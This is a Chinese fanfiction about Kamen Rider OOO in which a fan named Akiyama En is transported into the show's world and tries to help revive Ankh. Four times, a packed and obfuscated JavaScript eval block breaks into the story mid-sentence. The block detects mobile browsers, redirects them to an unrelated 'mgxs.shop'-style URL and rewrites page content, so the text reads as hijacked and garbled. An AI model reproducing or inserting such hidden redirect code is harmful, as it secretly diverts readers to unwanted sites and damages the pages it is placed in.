《[假面骑士OOO]穿越到OOO世界复活ankh》 1. 从地铁开始的异次元之旅(1) “什么?!你也开始看假面骑士了???” 地铁上,我突然惊呼出声。全车厢的人都看了过来。我顶着尴尬,抬起头抱歉地冲他们笑笑。 “小声点啊燕子,就是再光彩的事,也不能这样说啊……”朋友在耳麦里与我共振,脚趾抓地的阴影笼罩在我们两个人的身上。 我叹了口气。 “抱歉沫沫,我实在是……你说你怎么就想不开,这个时候看三蛋呢?” “不是你推荐的吗?”沫沫觉得奇怪,“你说这部很好看的啊,天天发小作文。我好奇想看看,怎么了?” 于是我又在叹气。 “也行,总之……别看剧场版。真别看。” 沫沫向我保证:“放心吧燕子,我一直是‘本体至上衍生滚蛋’派,不会看那些瞎补的东西。” 但愿吧……我心里想,忍不住叹了今天的第三口气。 我叫秋山燕,是三蛋女鬼。电话那头叫沫沫的,是我快要成为三蛋女鬼的闺蜜。 至于三蛋,那是“蒙面好汉三个蛋”的简称,大名假面骑士OOO。 是东映名下“平成假面骑士”系列第十二作。也是让我这个资深特摄厨最魂牵梦绕的一作。 三年前,我不幸在某原教旨二次元免费网站上看到了假面骑士的剪辑,当即被其中帅气的皮套吸引,从此一发不可收拾,一部接一部地补起番来。然后就被三蛋给抓走了。 平心而论,假面骑士OOO并不是这个系列里面最完美的。在我的观念里,W的单元比它新颖,555的人物比它精彩,Fourze的节奏比它舒适,build的结局比它震撼…… 优秀的作品不胜枚数,但只有OOO是我会不断回味、不断品鉴的一部。我甚至为它写过上万字的感想,这对于不善文字的我而言是件不可思议的事。 到现在我都说不出自己对OOO的喜爱从何而来。可能是出现得太巧了吧,那一年我刚上初中,压力突然加大,又到了青春期的年龄,天天和家里人因为一件件小事吵架,吵到最后我都累了,想着要不就这样吧,我不要管了,什么都不要管了,自暴自弃也没什么,反正我的前途和人生都很灰暗,我这样的人注定就是什么也做不好,什么也做不到。 而在这时,火野映司带着他的内裤出现了。 这个走过非洲内战的男人。 这个在战火中死而复生的男人。 这个只要有了明天的内裤就能活下去的男人。 这个明明也很为自己的弱小痛苦,却一次次地向他人伸手,要抓住所能抓住的一切的男人。 还有给与他了一切,又在结尾时把一切带走的Greeed。 真的,天晓得一年前我得知OOO要拍十周年续集时的激动。我连夜剪了一个剧情向MAD投到网站上,意料之外地爆了。我在这百万点击里焦急地等待十周年里ankh复活。我相信他们的故事会有一个Happy ending,就像平成Final中映司说的:ankh,再会了。就在你我同在的明天。 然、而—— 东映你告诉我你在这大喜日子端上这坨到底是有何居心啊?! 为什么啊? Greeed到底怎么就复活了? 王到底怎么又出现了?? 温馨饭店到底怎么爆改野地战场了??? 最重要的是—— 映司到底为什么要死啊?!!!!! 说他救小女孩残了我能理解,毕竟映司就是这样一位圣父,但他为什么要把ankh推出去啊??? 告诉我啊??? 总之十周年剧场版我是一脸期待地进去,一脸懵逼地出来,后知后觉地胃里涌上一股恶心的感觉,像是被人逼着吃了一盘毛虫一样难受。不论别人如何找补,我打从心底里不能接受这个结局。我不是当年追着看的粉丝。我只等了这部电影三年,论资历算不上什么,但我依然要狠狠辱骂制片,辱骂编剧,辱骂东映,辱骂这群辜负了观众真情的鬼。 说鬼都是抬举! 悲从中来,我切到微博,啪啪啪地敲下一段文字。 “又在想了,武部直美懂个屁的OOO,如果我来写三蛋十周年,肯定不会是这副死样。我说Ins最后那下就是自杀好吗,我想破脑袋都想不到为什么要推开鸟,他不是最想见鸟的吗,好不容易见面了所以可以死了是吧……” 我的这个微博小号里全是类似的抱怨,有时候一天能有十条。我需要不停地宣泄以平衡因为OOO而产生的爱恨,一如故事本篇所承认的,欲望本身并不是错误,只是我们必须思考该如何对待。 微博树洞就是我的答案。翻看这个账号,我能感觉自己确实在OOO上倾注太多。我真的很希望很希望自己可以改写OOO的结局,希望比奈的“贪心”可以成真,所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510620|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都好好地在多国料理店幸福生活下去。 但,也就这么想想。 如果真给我个机会改变OOO,我想我应该会退缩的吧?毕竟我不是火野映司,不是泉比奈,不是这个故事里的任何一位。我没有资格替他们定夺什么,哪怕我真的很想很想很想…… 在“某件事”发生以前,这是我内心深处,最真实的想法。 至于现在…… 我仰起脸,望着眼前“库斯库契多国料理店”的招牌发呆。 不是,为什么有人地铁坐着坐着就穿越了啊?我记得我下车那会儿不是这站的啊?! -- 幸好手机还能用。 2012年的老剧,智能手机还没兴起,iPhone4都才刚刚发布,而我抱着O家新出的旗舰机系列坐在这里,拍照上简直是降维打击。 就是2G信号用着有些难受,当年的网络有这么差吗? “这是您要的柠檬香煎鸡,还有冬阴功。” 正想着,点好的菜总算上桌了。给我送菜的人穿着泰国传统服饰,头发也扎了起来,给人一种利落知性的感觉,和剧内很不一样。 “请您慢用。”她说完便走。 “泉比奈。”我转身叫出她的名字。 比奈惊愕地回头,一双眼猫儿似的瞪大了。好像在问难道我们在哪里见过,不然我怎么会知道这个名字。 “Akhn,不是,OOO……”我有些着急,话问出来才发现这很不对。Ankh的存在算是他们的一个秘密。我本来不打算这么直接,但比奈的出现令我情难自抑,现在还要为圆话而头疼。 比奈走了回来,手指着自己问道:“你认识我?”顿了顿,语气变得低沉,“你是……新的Greeed?” 我:“……”这误会大了。 “不,我是人,但从你们的视角我可能是穿越者或高维生物?总之,不是Greeed。”一部英雄特摄的“观众”放在英雄特摄里会是什么,这真是个深奥的问题,“算了我也理不清楚,总之我有Ankh复活的线索,能不能帮我联系一下火野映司?” “你能复活Ankh?!”比奈好像完全没听到我后面的话,焦急地凑上前来,眼睛瞪得更大。 被她这样盯着,我紧张起来,感觉呼吸快要静止。 “我……试试。” 我还是不敢给一个完全肯定的答案。 2. 从地铁开始的异次元之旅(2) OOO的世界跟我想象中差得太大,我根本不知道自己穿进了哪段。事实上,在比奈说出Greeed之前,我一直怀疑自己到底有没有穿越。毕竟“库斯库契”可以是粉丝们的情怀,2G网络是因为此地基建太差,而长得像比奈的这个人,她可以是老板特别聘请来的coser。 好在我到底是穿越了。比奈很快召集了主角团们,后藤哥,伊达叔,知世子店长……TV大结局里向映司伸出手的那些人都来了。看到这些剧中人物如今真的站在面前,我鼻头一紧,几乎要落下泪来。 “Happy Birthday!” 等等,这个展开? 一声中气十足的庆贺打破了感伤的氛围,我回头,一位穿着红色西装,满脸堆着笑纹的中年大叔推着蛋糕走进店内。他身边还跟着一位哥特打扮的美女。 大叔浮夸地:“不可思议,从异世界来的少女!Happy Birthday!” 好吧——我就知道! 新登场的这个男人名为鸿上光生,是鸿上基金会的会长以及鸿上美术馆的所有者。根据设定,他还是八百年前那位王的后裔,但通篇看下来我只觉得他是个热爱蛋糕的怪大叔,除此之外就是惹事搞事,十周年王的复活也是他惹出来的祸殃。 至于旁边的美女,那是我OOO第四喜欢的角色,里中绘里香小姐。业务能力强劲,态度不卑不亢,我一直向往成为跟她一样的人。 鸿上唱着不成调的生日快乐歌,推着推车走到我们当中。他在我面前停下,笑眯眯地向我伸手。 “Happy Birthday!”他的情绪再度高亢起来,然后抓着我的手往蛋糕上切下一刀。 我无措地把手收回,摆出防御的姿态。 其他人倒是对此见怪不怪了。千代子走上前来问我:“那个……是秋山燕吗?你知道我叫什么吗?” 她兴致勃勃的,像很期待一样。 “白石知世子。”我无奈了,把房间里的人挨个点过去,“泉信吾,后藤慎太郎,伊达明,鸿上光生,里中绘里香……” 他们每个人脸上都流露出了然的神情。 “还有最重要的,火野映司。”我最后说,“为什么就他不在?” 知世子好声解释:“抱歉啊,小映司出国了,但我们已经把事情告诉他了,一会儿就应该打视频进来了。” “是啊是啊。”泉信吾说,“听比奈说你好像还没吃饭,要不我们边吃边聊,我也想知道更多关于那位的事情。” 行吧,反正也没别的事情可干。就算手机能用,2G的网络也带不动5G模式下才能跑动的游戏。 况且我确实饿了。穿越前我刚下课,本来就准备找家店吃饭来着。现在多好,饭有了,饭后甜点也有了,等映司电话进来就是,其他的我好像也做不了什么。 而在我吃饭的时候,问题也是应接不暇地来了。我得知现在是映司寻找Ankh的第七年,按时间应该是平成Final后不久?但他们完全不认识财团X,也没有从天而降过一对巨手。这果然不完全是我认识的假面骑士世界。难道小魔王发力,在这条时间线上抹除过什么? 比奈他们都好奇后来的事,但我其实不太想提,便简单挑了几件说。 听到我说王复活的时候,众人:“?” 听到我说Greeed复活的时候,众人:“??” 听到我说新的Greeed出现且占据了映司的身体的时候,众人:“???” 听到我说Ankh复活但映司死了的时候,众人——啊不对,比奈:“等等等等等一下?!” “抱歉我有点失态,但这是?!”比奈看起来有些崩溃。她的情绪我完全理解,故事里她是唯一两次目睹挚友的离去的人。“映司是怎么死的?Ankh不能像救我哥哥一样,附身在他身上救活他吗?” “反正编剧是这样写的。”我也不理解毛利此处的巧思,“但说不定有转机呢?毕竟这里也没有出现过巨手不是吗?在我的认知里,那也是你们‘之后’的经历才对。” 知世子也安慰她:“对啊比奈,说不定有别的方法呢?没发生的事不能当成真的去看,就像燕儿她也不知道自己会穿越过来,对吧?” 这话一出,所有人又都看向了我,倒好像我身上寄托着他们的希望似的。 我忽然有种沉甸甸的感觉,胃痛,心口也痛,喉咙像被石块堵住,一句话也讲不出来。 我立即想到了火野映司。想起天桥上泉信吾跟比奈说的那段话。 “我也一样,刚才那些人也一样,大家自顾自地说出愿望,他默默地都接受了这些愿望。” 被人期待原来是这么痛苦的事吗?那在整个TV里都背负着他人期许的火野映司……他是怎么想的呢? 一股悲哀,一股急切,忽然从我心底涌出。我好想好想和他说话。我想问他好多好多,好多好多,又不知道该怎么问才好。 带着心事,我答应了知世子的邀请,暂时在“库斯库契多国料理店”住下。 “这个房间你应该很熟悉吧?” 知世子把我带到了火野映司和Ankh曾经住过的地方。曾经的装潢她一样未动,红色的布匹披在桌上,像一个空荡的巢穴,年复一年地等待主人的归来。 知世子温声解释:“虽然布置没变,但我都好好打扫过的,不用担心。” “没关系。”我走到床边,摸了摸柔软的被褥,转过身认真地同知世子说了“谢谢”。 -- 傍晚,火野映司的视讯终于来了。 他那边天光正亮,屏幕被均等分成两块,一块是白到近乎透明的天,一块是昏黄的砂砾和枯草。 不愧是只要有明天的内裤就能活下去的男人,这又是到哪个鸟不拉屎的地方去了。 泉信吾临时有工作,鸿上没兴趣出席,除此之外大家都在。 这样齐整的阵容就连火野映司也很少见到。他愣了一下,很快笑开,挥挥手跟我们打招呼:“大家好啊,很难得都在呢。” “好久不见啊映司。”伊达叔也笑。 后藤不愧是OOO中性子最急的人,哪怕后期他有所成长,在有事情需要处理时依然会迫不及待切入正题:“映司你消息都看到了吗?” “嗯看了。”映司点头,目光转向我,“那个,秋山燕小姐?” “是。”我有点紧张,像课上突然被老师点名了一样。 “你说你是从另一个世界来的,我们的世界对你而言就是一部电视剧,而你在剧集里看到了Ankh的复活?” “嗯。”我点点头,小声说出我的猜测,“但我觉得,那不是Ankh真正复活的办法。” 用火野映司的生命换取Ankh的生命,听起来符合炼金术的原则,但仔细想想哪里都是问题。 Greeed的生命来源是“欲望”。从十枚硬币里抽走一枚,从中诞生的永不满足的生物,那就是Greeed。 Greeed的意识沉眠在代表核心的三枚硬币之中。Ankh附身泉信吾的同时,Greeed的力量在修补他的身体。把生命从死亡中拽回也是生命的赋予,由此可得,Greeed的生命从来不需要“以一换一”,至少不用一条人命换一个Greeed的性命。 “嗯……”映司抱着胳膊,思索了一会儿果断放弃,“算了。燕小姐你在库斯库契过得还开心吗?” “啊?”我呆住,不明白他怎么突然提起这茬。 “如果你暂时回不去,我相信人美心善的知世子小姐会收留你的!或者你也可以去比奈家里暂住,我相信泉先生不介意家里再多一个人的。”那边似乎有人在喊映司的名字,他回头,转过来笑着摆了摆手,“哦,有人叫我了。放心吧,我马上就回到日本——再见啦大家!” 嘟——视讯断了。 我依然怔着,苦笑僵在嘴边。其他人倒没有更多的表示,伊达叔甚至说了句“不愧是映司啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510621|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,然后挎起背包若有所思地走了。 直到知世子过来拍拍我的肩膀,喊了我的名字,我才从那种石化般的状态中恢复。抖了个哆嗦,我说:“映司他怎么,怎么,怎么……” 我一连说了几个“怎么”,搜肠刮肚,还是找不到合适的词去概括。 “习惯就好。”后藤似乎很理解我,“映司他就是温吞的个性,你说什么他也不太着急,有过那段经历后好像就更严重了。” “我以为Ankh的事情能让他激动呢。”因为平成Final里就是这样写的。对于Ankh,哪怕是冒牌货他都无法动手。哪怕是冒牌货他都要拼上性命去救。 “以前的话或许会吧。但这么多年了,他满世界地寻找Ankh,去了那么多的地方,应该也接受了。” 后藤拎起装备,收拾收拾也走了。我完全不理解他们现在的情绪。一个两个的,和正剧严重不符。 我愣在椅子上自语:“为什么……Ankh回来的时候,大家其实都很激动的?为什么现在好像变成了件不重要的事情?我有线索,我知道后续的发展,但大家好像都觉得这没什么一样……” “燕儿。” 突然有人叫我。我抖了个激灵,猛地抬起头来。 知世子温和地笑着。见我看了过来,她问:“我这样叫你可以吗?” 我摇摇头,表示自己并不介意。 知世子坐了下来,拍着我的手说:“燕儿你不知道,其实这些年里,映司找到了好几种和Ankh复活有关的秘法。对吧比奈?” 我顺着知世子的视线看去,才发现比奈不知何时站到了我身后。 “是啊。”她的表情有些灰暗,“但从来没有一条办法需要映司死去,也没有一种方法能真的让Ankh复活。” “所以呢,虽然燕儿你的出现让我们很惊喜,但失望的次数多了,累积起来就是这样的吧。”知世子说出了很有道理的话,“不过映司既然讲他马上就会回来,也就是这两天吧。如果你有单独想让他知道的事情,果然还是见面聊比较好吧?” 以疑问的语气结尾,除了真的心有困惑,还有一类原因是寻求认可。知世子显然不需要我的认可。她想的是我可以自己认可自己,不要为他们的事情烦心。 “没关系,反正我也想和映司见面,等两天就是了。”我说。偷偷抽了抽鼻子。 - 晚上,我躺在火野映司曾经睡过的地方,辗转反侧,怎么也无法入眠。 我闭上眼,穿越前的记忆立即翻涌上来。我耳边仿佛还能听见沫沫的话。我跟她说了好多关于OOO十周年的事情,一路上都在骂制片,骂编剧,本来沫沫也在“嗯嗯嗯”地附和,突然她的声音就听不见了。 然后我就来到这里。没有卡车,没有白光。走出地铁周围全是日文,一时间我连方向都找不到,还以为自己进了整蛊节目。 其实光是找到“库斯库契多国料理店”,就已经用掉了我全部的运气和勇气。 我一直都是很怕事的人。从小到大,虽然嘴巴上说着自己要成为超级英雄,要当假面骑士,但如果真的要我去面对英雄片里的危险,我的第一反应大概是逃跑…… 不开玩笑,我无数次地幻想过,如果Ankh当初选择的是我,一开始我大概会觉得好玩,时间长了我必定要丢掉腰带。最迟最迟,我一定在群众们大喊“OOO”的时候把OOO甩开,才不让自己的人生绑架在他人的呼唤里。 所以我真的很佩服火野映司。 在成为OOO以前,他就已经在为拯救他人而努力了。我花了很长时间接受自己永远不能像映司一样伟岸,又花了更长时间接受我比一般人还要怯懦。 就像现在,如果不是穿越的我而是别的什么人,他或她应该还在激动中思考自己能为他们做些什么吧。 可我只是难过。好难过好难过。 为什么偏偏是我呢? 才第一晚,我已经在想家了。 3. 从地铁开始的异次元之旅(3) 火野映司的机票定在了三天后,加上路途中所花费的时间,见到他得是第五天了。 这五天里,除了吃饭睡觉,我很少待在库斯库契。比奈总是带我出门,有时是逛街,有时就只是单纯散步。她对我的手机很是好奇。“十年后能拍出这样漂亮的颜色吗?”她赞叹。我不好意思地说里面还有内置算法,未来手机拍摄出的照片都有AI测算过的手笔。 “真厉害呢。”比奈把她的手机也给我看,“这是目前最新款的手机,你看,拍照都糊糊的,根本没有你的清晰……” 比奈说的手机是Iphone4s,据说是苹果创始人乔布斯最后一部作品。在我这个年龄,这么老旧的款式能从科普杂志上看到,很少有机会接触实机。 等等,乔布斯的最后一部作品? 好像有哪里不对。 “比奈,你们说映司已经找了Ankh七年?” “是啊。”比奈叹了口气,“好多年了,经常不在日本。七年里他真的是快把全世界都走遍了,但只找到些零星的线索。这还是第一次有人肯定地说自己看到了Ankh的复活。” 比奈说着也摆弄够了,要把手机还我。然而我整个人还沉浸在方才的肯定里面,腾不出手去接,讷讷地向比奈追问:“那现在的年份是……” “2017。”她说。 我一瞬间有种灵魂离家出走的感觉。这回答完全把我的认知给击碎了。 2017年——我的世界里2017苹果推出的是Iphone8啊?! 我记得很清楚,那一年苹果还没有走下神坛,推送里还有发布会后苹果旗舰店门口夜排、黄牛加价抢货的新闻。 那一年我的小姨准备追新机,便把换下的IPhone7直接送给了我。这是我拥有的第一部智能手机,对我有特殊意义,所以我不可能记岔当年的种种细节。 到底是怎么回事啊……我不但穿越了,还穿越到了本篇剧情结束的七年后。明明是Final播出的时间,但没有巨手,没有骑士乱炖,连手机都是好几年前的老款。 仔细想想,2017年的话3G是不是也铺起来了?一开始我看到状态栏是2G信号,想当然地以为是穿越到了本篇结束后不久。但如果加上七年这个时间跨度…… 我想不通。 网络时代穿越题材的作品很多,有往前穿越到古代的,有往后穿越到星际的,也横向穿越到平行时空ABO世界的。但就我浅薄的见识而言,好像没有穿越到某部剧里,结果那个剧中世界还时空紊乱,不知今夕何夕的。 那些穿越大作的主角到底是如何迅速定位自己所处时代背景的?还是我这个情况真的就复杂过头,属于穿越里面也很刁钻很刁钻,需要时空管理局给你发个耳麦的那种? 我想不通。 所以我不想了。 知道的多或少也不影响木已成舟。事情发生了,不论喜欢与否结果都摆在这里,既然没能耐改变,就不要去想那么多,不给自己平添烦扰才能维持心理健康。 况且现在也没多少精力可扰。 鸿上光生绝对是主要角色团里对我的出现最感兴趣的人。他一直邀请我到鸿上美术馆去转转,结果我第四天才得出空来,去的还不是美术馆而是基金会。 刚进门就听到鸿上低沉的歌声:“Happy Birthday to you……” “我把人带过来了,社长。”绘里香小姐说。 然而鸿上背对着我和绘里香小姐,弯着腰,完全没有要招待我的意思。我想他一定拿着裱花袋在挤奶油,因为剧里就是这么演的。 我耐心等着,反正也不会太久。 当“Happy Birthday”的旋律重复到第四遍时,一切戛然而止。鸿上转过身来,在看到我的那一刻,他的眉毛几乎飞了起来。 “哦,异次元来的少女!”他中气十足地说,“欢迎啊,欢迎来到鸿上基金会!” ——不是你邀请我来的吗?! 我暗暗在心里吐槽,差点要脱口而出。好在脑子及时跟上了嘴:“蛋糕的话,之前在库斯库契不是吃过了吗?再来一个没必要吧?” 正要说些什么的鸿上:“?” 绘里香:“?” 我:“……” 差点忘了我脑子也不太好。 “不好意思,我没有这个意思!”我连忙道歉,恨不能把一颗心掏出来天地为证,“我的意思是,之前在库斯库契吃过蛋糕了,应该没有理由再吃一个?啊不是,我的意思是……” 怎么会有这么笨的嘴! 原作里的鸿上是不折不扣的蛋糕狂魔,不论是Greeed和OOO的现世、和Ankh谈判硬币分成,还是后来Birth的诞生……在每一个关键节点上,鸿上总会端个蛋糕出来。我觉得他根本就是把蛋糕当记事本用,也不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510622|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃那么多以后胰腺要怎么办。 我对鸿上好感不多。他虽然不是BOSS,但在我眼里他的破坏力比BOSS还大。OOO里每笔烂账背后都有鸿上的影子,全剧里我最不理解他究竟在图谋什么。 好在他也不是性格极端的反社会人格。纵观全剧,他甚至算心胸宽广:“没关系,重要的事情值得用两个蛋糕庆祝!Happy Birthday!” “不不,我不是这个意思!”我连连摆手,内心一阵绝望。 绘里香小姐及时替我解围:“我猜她是想说:您到底什么话不方便说,需要专门叫她过来一趟。” “对啊对啊。”我点头附和。 虽然绘里香小姐语气平平,内容也不太客气,以至给人一种古怪的感觉,但不得不说她真的完美概括了我的想法。不愧是业务能力第一的绘里香小姐——我感激地朝她竖起拇指。 鸿上若有所思:“原来是这样啊。异次元小姐是个过分压抑自己欲望的人,所以才会对周围的一切都怀有敌意。” “哈?!” 听到这种评价,我光速把头扭了回去,不可置信地瞪着鸿上。 压抑欲望?怀有敌意?这里面哪个字和我沾边! “不好意思,我觉得我应该算是很坦荡的那种。”急了急了我真急了。我急于找他理论,一时连谨小慎微都忘了,两步到他面前,强硬地要他给我一个交代。 回去后我才意识到这是多么无礼的一个举动,无礼到上一个这样做的还是来自异国他乡,没有亲人教养的Ankh。但当时我顾不上这么多了,只想证明自己。而且从鸿上和绘里香小姐的反应来看,他们并不觉得我做了件过分的事。 “对,就是这样!”鸿上双臂大张,表情有些狰狞。 我被他吓了一跳,下意识地往后一缩。 “对,就是这样!”他情绪高亢,突然手指向我。大概是落地窗的缘故,他眼里闪着一道诡异的光。而接下来他说的是更加诡异的话: “真是了不起的欲望!做你想做的事情,就像这样!” 在我思考鸿上这又是唱的哪出的时候,他把蛋糕转了过来。最简单的款式,白色的奶油上点缀着新鲜的水果,中间用果酱写着一个单词:Release。 最后我提着半个蛋糕,一脸懵逼地离开了基金会。最后我还是没懂他为什么叫我过来。如此大张旗鼓,总不能真的就为了吃块蛋糕。 4. 从地铁开始的异次元之旅(4) 晚上在库斯库契,我和泉信吾、泉比奈这对兄妹一起吃饭。这顿饭我其实吃得有些煎熬,因为泉信吾是被Ankh占据过身体的倒霉警官,而我对Ankh又过分偏爱了——不止是我,很多人在回顾OOO时都忘了泉信吾这个角色。我甚至是三刷OOO时才注意到比奈的痛苦与映司、Ankh和哥哥三位都有关系。 比奈的痛苦也是我的痛苦。知世子说“比奈可以再贪心一些的”,所以比奈在桥上牵起了映司和Ankh以及自己哥哥的手。到五刷OOO的时候我才真正看懂这一部分。我才终于理解夜晚的灯光下,他们握紧彼此时为什么会悲伤。 比奈的存在勾起了我的回忆,那些一遍遍观影中积累起来的情感顿时翻涌上来。 心事太重,这顿饭就吃得也没什么滋味。饭桌上我偷偷看了泉信吾好几眼。他和Ankh真的一模一样。剧里面造型差距太大还不觉得,真亲眼见到发现很难把他们分开。 吃过饭,比奈和我都抢着收拾碗筷。比奈胜出,所以我留在桌边,和泉信吾坐在一块。 真是完蛋。 泉信吾在原片就是路人角色,哪怕是我这种对OOO倒背如流的也就记得他是个警察,和比奈两个人一起生活,还给比奈买了新的手机。信息过少,这就导致我跟他实在无话可聊,只能两个人坐在沙发上,连大眼瞪小眼都不行,低着头各自尴尬。 或者只有我觉得尴尬。 泉信吾最大的特点就是温和。Ankh占据他身体时做了许多不好的事,但泉信吾并没有迁怒于他,没有指责他拿着自己的身体胡乱行动,反而是先把Ankh藏起的硬币收纳交给了映司,由衷地向映司表达感谢,并要求加入到拯救世界的行列。 呃,拯救世界? 这形容有点怪啊,泉信吾的动机应该不是拯救世界吧…… “那个,秋山小姐?” 正当我胡思乱想的时候,泉信吾说话了。 “啊,什么?”我慌乱地挥了挥手,太糟糕了,当着人面暗自编排不说,居然还被抓包,“你你你——啊不对——有什么事吗信吾哥?” 泉信吾轻轻一笑:“不用这么拘谨。虽然秋山小姐好像比我年纪要小,但毕竟是另一个世界的人了,按平语叫我‘信吾’就好。” 妈妈我好像看见了天使…… 要我说Ankh本质上还真是鸟,就算附身也找了个超级大帅哥,这样的人能如此温柔地对着你笑简直是人间福利让人看了上学都更有力气有没有懂的!Ankh控制这张脸还真可惜了,整天摆一张臭脸难怪前期没人待见,要是能像信吾哥这样笑保准没那么多事好吧! “啊,这太没礼貌了。”我一被媚就得意忘形,“别看我这样,日语我也是通过了N1考试的,该怎么叫就怎么叫吧,信吾哥。” “日语的N1考试是什么?”泉信吾茫然,“在你们那个世界,国语的考试是这样划分的吗?” “啊不,N1是中国的日语等级考试……我是中国人。” 我的名字是秋山燕,“秋山”是姓,“燕”是名。其中“秋山”是少见的、中日两国共同存在的复姓。 因为不喜欢英语,我在学校读的是日文班,以后高考参加的也会是日文考试。初二我第一次接受课后辅导,老师看了看花名册,看了看我,说我的名字起得真好,以后上课都不需要另外取了,直接叫“Akiyama En”就好。 “原来秋山小姐是中国人吗?真是抱歉,因为日语掌握得太好,我一直以为秋山小姐是山梨县的人。”泉信吾说。 “不用道歉啊!这有什么好道歉的!”我被他认真的态度给惊到了,许多话脱口而出,“我经常被认错的,班上同学还以为我是日本的留学生呢!倒不如说谢谢你能肯定我的日文水平。实不相瞒,刚到这个世界的时候我吓坏了,什么日语都想不起来,在站内崩溃了半天才找到路呢!” “莫名其妙地离开熟悉的环境,莫名其妙地到了异国他乡,秋山小姐还能冷静下来,真是个勇敢的人。”泉信吾依然笑着,并且笑里似乎更多了一层欣赏,我不确定,“放心吧秋山小姐,我也和你们一样期待着他的回归。所以请秋山小姐不要再闷闷不乐,我们一起努力找他回来,好吗?” 泉信吾万分诚恳,几乎是以请求的口吻说出的这一段话。 我答应了他。这种场合,除了“好啊”和“谢谢”,我再想不出第三句恰当的话。 隔天映司抵达日本,库斯库契为他的归来重新布置,到处悬挂着鲜艳的飘带,像要给某人庆生一样。 如此一想,OOO的设计还真是和“生日”息息相关。 什么都能改变,什么都能诞生,就连能将今天变为明日的也是欲望……之类的。 ……好像是鸿上光生的台词。 又走神了。意识到这点的时候我已经回过神来,盯着眼前的玻璃发呆,奇怪自己是怎么晃到这儿来的。 旁边是伊达叔。大猩猩一般的他有着令人安心的体格,可以轻松接触到比较高的位置。因此所有高空布置都安排在了他的身上。 我发呆的时候,伊达叔已经把所有的彩带都贴好了。我环顾一周,忽然发现库斯库契内似乎少了几个人。 “伊达叔,后藤哥和绘里香小姐呢?” “你不知道吗?”伊达叔说,“他们去对抗Yummy了,应该过会儿就回来了吧。” “——居然现在还有Yummy吗?”我惊讶地问。 Yummy是Greeed从人类身上创造出的怪物。当核心硬币投入人的额头,人心中的欲望就会无限膨胀,最后如化蝶一般从人类的躯壳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510623|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里爬出。这个爬出来的欲望的具象就是Yummy。 剧集的最后一战,映司和Ankh合力消灭了最后的恐龙Greeed。至此所有Greeed均被消灭,按理不会再有Yummy诞生才对。 虽然十周年时诞生了新的Greeed……但这不才第七年嘛。 见我一脸呆滞,伊达叔说:“大概是从半年前开始,街道上偶尔会出现无主的Yummy。它们没有特别明显的物种特征,能力比起以前的Yummy也差上不少。映司和我试着找过是谁制造了它们,但一直没有结果。” “原来是这样,那就对了。”我点点头,马上意识到了什么,像被石化了一样僵在原地,嘴角高高扯起。 对什么对?!什么没有特征的无主Yummy——这部分东映也没写啊?! “看来又是件你不知道的事情。”伊达叔深深地看我一眼,弯腰折起方才用过的人字梯,“这也正常,毕竟你说的你知道的都来自于那个东礼……” “是东映。”我极快地接嘴。这是五天来为数不多我能插上话的时刻。 伊达叔从善如流:“哦哦,东映。”他继续说,“你说你知道的都来自于这个叫‘东映’的影视公司,说我们的故事被拍成了一部长达四十八集的影视剧,对吧?” 他的反问让我不太舒服:“你是想说那一切都是假的?” “啊不,我绝对不是这个意思。”伊达叔立刻澄清,“你说的细节跟当年发生的事情都对得上,包括很多不是亲历者根本无从得知的细节。所以我们相信你来自另外一个世界,相信在那个世界里,真的有一家影视公司把我们的生活拍成了剧,并且在全世界都有发行。” “但那毕竟是‘过去的事’了。”他接着说,“像是你自己也没有料到,居然来到了我们这个世界——这也是那家叫‘东礼’的公司所不曾提到的。所以我想,那家公司所记录的,可能只是七年前的往事。过后发生的都不一定对得上号。” “是这样吗……”伊达叔的话让我陷入沉思。的确,比较起“东映构造的OOO宇宙”,我的穿越地更像是“基于OOO本篇内容所衍生的世界”。换句话说,除了本篇的内容,我所有关于OOO的知识在此地都不能得到验证。 “听上去很有道理……”我点头承认。可很快我就发觉,于我而言这根本是个彻头彻尾的坏消息:“但如果真是这样,我怎么办?” “什么怎么办?”伊达叔不理解。 